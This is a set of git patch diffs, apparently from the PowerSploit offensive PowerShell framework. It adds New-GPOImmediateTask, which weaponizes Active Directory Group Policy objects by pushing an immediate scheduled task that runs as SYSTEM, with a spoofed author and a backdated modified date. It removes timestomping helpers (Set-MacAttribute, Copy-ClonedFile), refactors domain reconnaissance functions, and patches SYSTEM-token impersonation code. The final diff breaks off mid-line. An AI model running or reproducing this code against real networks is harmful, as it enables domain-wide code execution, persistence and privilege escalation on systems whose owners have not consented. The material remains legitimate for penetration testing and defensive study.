-5455,12 +5455,7 @@ function Get-GptTmpl { Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" try { - if($Credential) { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - else { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { Write-Debug "Error mounting path $GptTmplPath : $_" @@ -5568,12 +5563,7 @@ function Get-GroupsXML { Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { - if($Credential) { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } - else { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop - } + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { Write-Debug "Error mounting path $GroupsXMLPath : $_" @@ -5763,6 +5753,224 @@ function Get-NetGPO { } +function New-GPOImmediateTask { +<# + .SYNOPSIS + + Builds an 'Immediate' schtask to push out through a specified GPO. + + .PARAMETER TaskName + + Name for the schtask to recreate. Required. + + .PARAMETER Command + + The command to execute with the task, defaults to 'powershell' + + .PARAMETER CommandArguments + + The arguments to supply to the -Command being launched. + + .PARAMETER TaskDescription + + An optional description for the task. + + .PARAMETER TaskAuthor + + The displayed author of the task, defaults to ''NT AUTHORITY\System' + + .PARAMETER TaskModifiedDate + + The displayed modified date for the task, defaults to 30 days ago. + + .PARAMETER GPOname + + The GPO name to build the task for. + + .PARAMETER GPODisplayName + + The GPO display name to to build the task for. + + .PARAMETER Domain + + The domain to query for the GPOs, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target. + + .EXAMPLE + + PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force + + Create an immediate schtask that executes the specified PowerShell arguments and + push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. + + .EXAMPLE + + PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force + + Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. +#> + [CmdletBinding(DefaultParameterSetName = 'Create')] + Param ( + [Parameter(ParameterSetName = 'Create', Mandatory = $True)] + [String] + [ValidateNotNullOrEmpty()] + $TaskName, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $Command = 'powershell', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $CommandArguments, + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskDescription = '', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskAuthor = 'NT AUTHORITY\System', + + [Parameter(ParameterSetName = 'Create')] + [String] + [ValidateNotNullOrEmpty()] + $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPOname, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $GPODisplayName, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $Domain, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $DomainController, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [String] + $ADSpath, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Force, + + [Parameter(ParameterSetName = 'Remove')] + [Switch] + $Remove, + + [Parameter(ParameterSetName = 'Create')] + [Parameter(ParameterSetName = 'Remove')] + [Management.Automation.PSCredential] + $Credential + ) + + # build the XML spec for our 'immediate' scheduled task + $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' + + if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { + Write-Warning 'Either -GPOName or -GPODisplayName must be specified' + return + } + + # eunmerate the specified GPO(s) + $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential + + if(!$GPOs) { + Write-Warning 'No GPO found.' + return + } + + $GPOs | ForEach-Object { + $ProcessedGPOName = $_.Name + try { + Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" + + # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( + if($Credential) { + Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" + $Path = $_.gpcfilesyspath.TrimEnd('\') + $Net = New-Object -ComObject WScript.Network + $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" + } + else { + $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" + } + + if($Remove) { + if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { + Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" + } + + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force + } + else { + if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { + return + } + + # create the folder if it doesn't exist + $Null = New-Item -ItemType Directory -Force -Path $TaskPath + + if(Test-Path "$TaskPath\ScheduledTasks.xml") { + Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" + } + + $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" + } + + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + catch { + Write-Warning "Error for GPO $ProcessedGPOName : $_" + if($Credential) { + Write-Verbose "Removing mounted drive at N:\" + $Net = New-Object -ComObject WScript.Network + $Net.RemoveNetworkDrive("N:") + } + } + } +} + + function Get-NetGPOGroup { <# .SYNOPSIS From 236b16430ced70342d969341b95f15530ae5d7fd Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 15:08:27 -0500 Subject: [PATCH 107/296] Removed Set-MacAttribute and Copy-ClonedFile Combined Convert-NT4toCanonical and Convert-DomainSimpletoNT4 into Convert-ADName --- Recon/PowerView.ps1 | 343 +++++++++++++++----------------------------- Recon/Recon.psd1 | 8 +- 2 files changed, 117 insertions(+), 234 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e4860464..f01e2653 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -759,154 +759,6 @@ filter Export-PowerViewCSV { } -# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html -function Set-MacAttribute { -<# - .SYNOPSIS - - Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. - - PowerSploit Function: Set-MacAttribute - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - Version: 1.0.0 - - .DESCRIPTION - - Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" - - .EXAMPLE - - PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" - - .LINK - - http://www.obscuresec.com/2014/05/touch.html -#> - [CmdletBinding(DefaultParameterSetName = 'Touch')] - Param ( - - [Parameter(Position = 1,Mandatory = $True)] - [ValidateScript({Test-Path -Path $_ })] - [String] - $FilePath, - - [Parameter(ParameterSetName = 'Touch')] - [ValidateScript({Test-Path -Path $_ })] - [String] - $OldFilePath, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Modified, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Accessed, - - [Parameter(ParameterSetName = 'Individual')] - [DateTime] - $Created, - - [Parameter(ParameterSetName = 'All')] - [DateTime] - $AllMacAttributes - ) - - #Helper function that returns an object with the MAC attributes of a file. - function Get-MacAttribute { - - param($OldFileName) - - if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} - $FileInfoObject = (Get-Item $OldFileName) - - $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); - 'Accessed' = ($FileInfoObject.LastAccessTime); - 'Created' = ($FileInfoObject.CreationTime)}; - $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties - Return $ResultObject - } - - $FileInfoObject = (Get-Item -Path $FilePath) - - if ($PSBoundParameters['AllMacAttributes']) { - $Modified = $AllMacAttributes - $Accessed = $AllMacAttributes - $Created = $AllMacAttributes - } - - if ($PSBoundParameters['OldFilePath']) { - $CopyFileMac = (Get-MacAttribute $OldFilePath) - $Modified = $CopyFileMac.Modified - $Accessed = $CopyFileMac.Accessed - $Created = $CopyFileMac.Created - } - - if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} - if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} - if ($Created) {$FileInfoObject.CreationTime = $Created} - - Return (Get-MacAttribute $FilePath) -} - - -function Copy-ClonedFile { -<# - .SYNOPSIS - - Copy a source file to a destination location, matching any MAC - properties as appropriate. - - .PARAMETER SourceFile - - Source file to copy. - - .PARAMETER DestFile - - Destination file path to copy file to. - - .EXAMPLE - - PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe - - Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. - - .LINK - - http://obscuresecurity.blogspot.com/2014/05/touch.html -#> - - param( - [Parameter(Mandatory = $True)] - [String] - [ValidateScript({Test-Path -Path $_ })] - $SourceFile, - - [Parameter(Mandatory = $True)] - [String] - [ValidateScript({Test-Path -Path $_ })] - $DestFile - ) - - # clone the MAC properties - Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile - - # copy the file off - Copy-Item -Path $SourceFile -Destination $DestFile -} - - filter Get-IPAddress { <# .SYNOPSIS @@ -1115,25 +967,40 @@ filter Convert-SidToName { } -filter Convert-NT4toCanonical { +filter Convert-ADName { <# .SYNOPSIS - Converts a user/group NT4 name (i.e. dev/john) to canonical format. + Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) + to canonical format (domain.com/Users/user) or NT4. Based on Bill Stewart's code from this article: http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats .PARAMETER ObjectName - The user/group name to convert, needs to be in 'DOMAIN\user' format. + The user/group name to convert. + + .PARAMETER InputType + + The InputType of the user/group name ("NT4","Simple","Canonical"). + + .PARAMETER OutputType + + The OutputType of the user/group name ("NT4","Simple","Canonical"). .EXAMPLE - PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" + PS C:\> Convert-ADName -ObjectName "dev\dfm" Returns "dev.testlab.local/Users/Dave" + .EXAMPLE + + PS C:\> Convert-SidToName "S-..." | Convert-ADName + + Returns the canonical name for the resolved SID. + .LINK http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats @@ -1142,14 +1009,59 @@ filter Convert-NT4toCanonical { param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] - $ObjectName + $ObjectName, + + [String] + [ValidateSet("NT4","Simple","Canonical")] + $InputType, + + [String] + [ValidateSet("NT4","Simple","Canonical")] + $OutputType ) - $ObjectName = $ObjectName -replace "/","\" - - if($ObjectName.contains("\")) { - # if we get a DOMAIN\user format, try to extract the domain - $Domain = $ObjectName.split("\")[0] + $NameTypes = @{ + "Canonical" = 2 + "NT4" = 3 + "Simple" = 5 + } + + if(!$PSBoundParameters['InputType']) { + if( ($ObjectName.split('/')).Count -eq 2 ) { + $ObjectName = $ObjectName.replace('/', '\') + } + + if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { + $InputType = 'NT4' + } + elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { + $InputType = 'Simple' + } + elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { + $InputType = 'Canonical' + } + else { + Write-Warning "Can not identify InType for $ObjectName" + return $ObjectName + } + } + elseif($InputType -eq 'NT4') { + $ObjectName = $ObjectName.replace('/', '\') + } + + if(!$PSBoundParameters['OutputType']) { + $OutputType = Switch($InputType) { + 'NT4' {'Canonical'} + 'Simple' {'NT4'} + 'Canonical' {'NT4'} + } + } + + # try to extract the domain from the given format + $Domain = Switch($InputType) { + 'NT4' { $ObjectName.split("\")[0] } + 'Simple' { $ObjectName.split("@")[1] } + 'Canonical' { $ObjectName.split("/")[0] } } # Accessor functions to simplify calls to NameTranslate @@ -1167,78 +1079,17 @@ filter Convert-NT4toCanonical { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" + Write-Debug "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) try { - Invoke-Method $Translate "Set" (3, $ObjectName) - (Invoke-Method $Translate "Get" (2)) + Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) + (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" - } -} - - -filter Convert-CanonicaltoNT4 { -<# - .SYNOPSIS - - Converts a canonical user format to NT4 format. - - .PARAMETER ObjectName - - The canonical name of the object to convert. - - .EXAMPLE - - PS C:\> Convert-CanonicaltoNT4 -ObjectName "dev.testlab.local/Users/Dave" - - Returns - - .LINK - - http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats -#> - - [CmdletBinding()] - param( - [Parameter(Mandatory=$True, ValueFromPipeline=$True)] - [String] - # [ValidatePattern('.+/.+')] - $ObjectName - ) - - $Domain = ($ObjectName -split "@")[1] - - $ObjectName = $ObjectName -replace "/","\" - - # Accessor functions to simplify calls to NameTranslate - function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { - $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) - if ( $output ) { $output } - } - function Set-Property([__ComObject] $object, [String] $property, $parameters) { - [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) - } - - $Translate = New-Object -comobject NameTranslate - - try { - Invoke-Method $Translate "Init" (1, $Domain) - } - catch [System.Management.Automation.MethodInvocationException] { } - - Set-Property $Translate "ChaseReferral" (0x60) - - try { - Invoke-Method $Translate "Set" (5, $ObjectName) - (Invoke-Method $Translate "Get" (3)) - } - catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-CanonicaltoNT4: $_" + Write-Debug "Error with translate Set/Get in Convert-ADName: $_" } } @@ -1548,12 +1399,33 @@ function Get-PathAcl { filter Get-NameField { - # helper that attempts to extract the appropriate field name - # from various passed objects. +<# + .SYNOPSIS + + Helper that attempts to extract appropriate field names from + passed computer objects. + + .PARAMETER Object + + The passed object to extract name fields from. + + .PARAMETER DnsHostName + + A DnsHostName to extract through ValueFromPipelineByPropertyName. + + .PARAMETER Name + + A Name to extract through ValueFromPipelineByPropertyName. + + .EXAMPLE + + PS C:\> Get-NetComputer -FullData | Get-NameField +#> [CmdletBinding()] param( [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Object]$Object, + [Object] + $Object, [Parameter(ValueFromPipelineByPropertyName = $True)] [String] @@ -1591,7 +1463,16 @@ filter Get-NameField { function Convert-LDAPProperty { - # helper to convert specific LDAP property result fields +<# + .SYNOPSIS + + Helper that converts specific LDAP property result fields. + Used by several of the Get-Net* function. + + .PARAMETER Properties + + Properties object to extract out LDAP fields for display. +#> param( [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [ValidateNotNullOrEmpty()] @@ -3770,7 +3651,7 @@ function Get-ADObject { try { $Name = Convert-SidToName $SID if($Name) { - $Canonical = Convert-NT4toCanonical -ObjectName $Name + $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical if($Canonical) { $Domain = $Canonical.split("/")[0] } @@ -6991,7 +6872,9 @@ function Get-NetLocalGroup { $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-NT4toCanonical -ObjectName $AdsPath + Write-Verbose "AdsPath: $AdsPath" + $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' + if($Name) { $FQDN = $Name.split("/")[0] $ObjName = $AdsPath.split("/")[-1] @@ -8712,7 +8595,7 @@ function Invoke-UserHunter { if($ForeignUsers) { # if we're searching for user results not in the primary domain - $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $krbtgtName = Convert-ADName -ObjectName "krbtgt@$($Domain)" -InputType Simple -OutputType NT4 $DomainShortName = $krbtgtName.split("\")[0] } } diff --git a/Recon/Recon.psd1 b/Recon/Recon.psd1 index e82cd975..467fcddf 100644 --- a/Recon/Recon.psd1 +++ b/Recon/Recon.psd1 @@ -25,10 +25,10 @@ PowerShellVersion = '2.0' FunctionsToExport = @( 'Add-NetUser', 'Add-ObjectAcl', - 'Convert-NT4toCanonical', 'Convert-NameToSid', 'Convert-SidToName', - 'Copy-ClonedFile', + 'Convert-ADName', + 'ConvertFrom-UACValue', 'Find-ComputerField', 'Find-ForeignGroup', 'Find-ForeignUser', @@ -57,6 +57,7 @@ FunctionsToExport = @( 'Get-NetForestDomain', 'Get-NetForestTrust', 'Get-NetGPO', + 'New-GPOImmediateTask', 'Get-NetGPOGroup', 'Get-NetGroup', 'Get-NetGroupMember', @@ -86,8 +87,7 @@ FunctionsToExport = @( 'Invoke-ReverseDnsLookup', 'Invoke-ShareFinder', 'Invoke-UserHunter', - 'Set-ADObject', - 'Set-MacAttribute' + 'Set-ADObject' ) # List of all files packaged with this module From 2e0197603c29361d70a129eff5d5c219c054b430 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 15:37:38 -0500 Subject: [PATCH 108/296] Bug fix for Invoke-EnumerateLocalAdmin --- Recon/PowerView.ps1 | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f01e2653..f5c0d071 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6872,7 +6872,6 @@ function Get-NetLocalGroup { $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') # try to translate the NT4 domain to a FQDN if possible - Write-Verbose "AdsPath: $AdsPath" $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' if($Name) { @@ -10639,7 +10638,7 @@ function Find-LocalAdminAccess { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False } } } @@ -11220,10 +11219,10 @@ function Invoke-EnumerateLocalAdmin { } # if we just want to return cross-trust users - if($DomainSID -and $TrustGroupSIDS) { + if($DomainSID) { # get the local machine SID $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" - + Write-Verbose "LocalSid for $ComputerName : $LocalSID" # filter out accounts that begin with the machine SID and domain SID # but preserve any groups that have users across a trust ($TrustGroupSIDS) $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } @@ -11244,7 +11243,7 @@ function Invoke-EnumerateLocalAdmin { } } else { - Write-Verbose "[!] No users returned from $Server" + Write-Verbose "[!] No users returned from $ComputerName" } } } From 625705781e52600d67d427df962d664edb5be425 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 16:23:27 -0500 Subject: [PATCH 109/296] fix for Find-GPOComputerAdmin --- Recon/PowerView.ps1 | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f5c0d071..39e032ed 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6191,7 +6191,6 @@ function Find-GPOLocation { } } - Write-Verbose "GPOgroups: $GPOgroups" $ProcessedGUIDs = @{} # process the matches and build the result objects @@ -6424,10 +6423,23 @@ function Find-GPOComputerAdmin { # for each found GPO group, resolve the SIDs of the members $GPOgroups | Where-Object {$_} | Foreach-Object { $GPO = $_ + + if ($GPO.members) { + $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object { + if($_ -match '^S-1-.*') { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID + } + } | Sort-Object -Unique + } + $GPO.members | Foreach-Object { - # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + # resolve this SID to a domain object + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName From 2e1d49db33cdbef6c11c9723f6d4731e5875c803 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 9 Mar 2016 20:02:18 -0500 Subject: [PATCH 110/296] Fixed bug with Get-NetGroupMember and computer accounts. samaccounttype enumeration now more accurate. --- Recon/PowerView.ps1 | 48 ++++++++++++++------------------------------- 1 file changed, 15 insertions(+), 33 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 39e032ed..8672e76d 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1368,7 +1368,7 @@ function Get-PathAcl { $Names = @() $SIDs = @($Object.objectsid) - if ($Recurse -and ($Object.samAccountType -ne "805306368")) { + if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) { $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid } @@ -4938,12 +4938,7 @@ function Get-NetGroupMember { if($Properties) { - if($Properties.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype if ($FullData) { $GroupMember = Convert-LDAPProperty -Properties $Properties @@ -4997,7 +4992,12 @@ function Get-NetGroupMember { # if we're doing manual recursion if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) { - Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + if($FullData) { + Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } + else { + Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize + } } } @@ -6225,12 +6225,7 @@ function Find-GPOLocation { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - if($Object.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $GPOLocation = New-Object PSObject $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname @@ -6251,12 +6246,7 @@ function Find-GPOLocation { ForEach ($TargetSid in $TargetObjects) { $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize - if($Object.samaccounttype -notmatch '805306368') { - $IsGroup = $True - } - else { - $IsGroup = $False - } + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype $AppliedSite = New-Object PSObject $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname @@ -6441,6 +6431,8 @@ function Find-GPOComputerAdmin { # resolve this SID to a domain object $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU @@ -6449,7 +6441,7 @@ function Find-GPOComputerAdmin { $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $($Object.samaccounttype -notmatch '805306368') + $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup $GPOComputerAdmin # if we're recursing and the current result object is a group @@ -6462,12 +6454,7 @@ function Find-GPOComputerAdmin { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True - } - else { - $MemberIsGroup = $False - } + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype if ($_.samAccountName) { # forest users have the samAccountName set @@ -6976,12 +6963,7 @@ function Get-NetLocalGroup { # extract the FQDN from the Distinguished Name $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True - } - else { - $MemberIsGroup = $False - } + $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype if ($_.samAccountName) { # forest users have the samAccountName set From f305e31cf56ced7941ccbd7864a3f372037dc91c Mon Sep 17 00:00:00 2001 From: Matt Graeber Date: Thu, 10 Mar 2016 16:48:37 -0800 Subject: [PATCH 111/296] Bugfix: Invoke-TokenManipulation. Issue #112 Fixed the PSv4 dependency for obtaining process ownership information. Thanks to @mmashwani for suggesting the WMI solution. --- Exfiltration/Invoke-TokenManipulation.ps1 | 25 +++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index ea309520..6558a635 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1686,20 +1686,33 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} + + $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object { + $OwnerInfo = $_.GetOwner() + + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $_ + } + } + } + ForEach ($SystemToken in $SystemTokens) { - $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue + $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue + if ($SystemTokenInfo) { break } } - if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" } - if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero) { - $CloseHandle.Invoke($systemTokenInfo.hProcToken) | 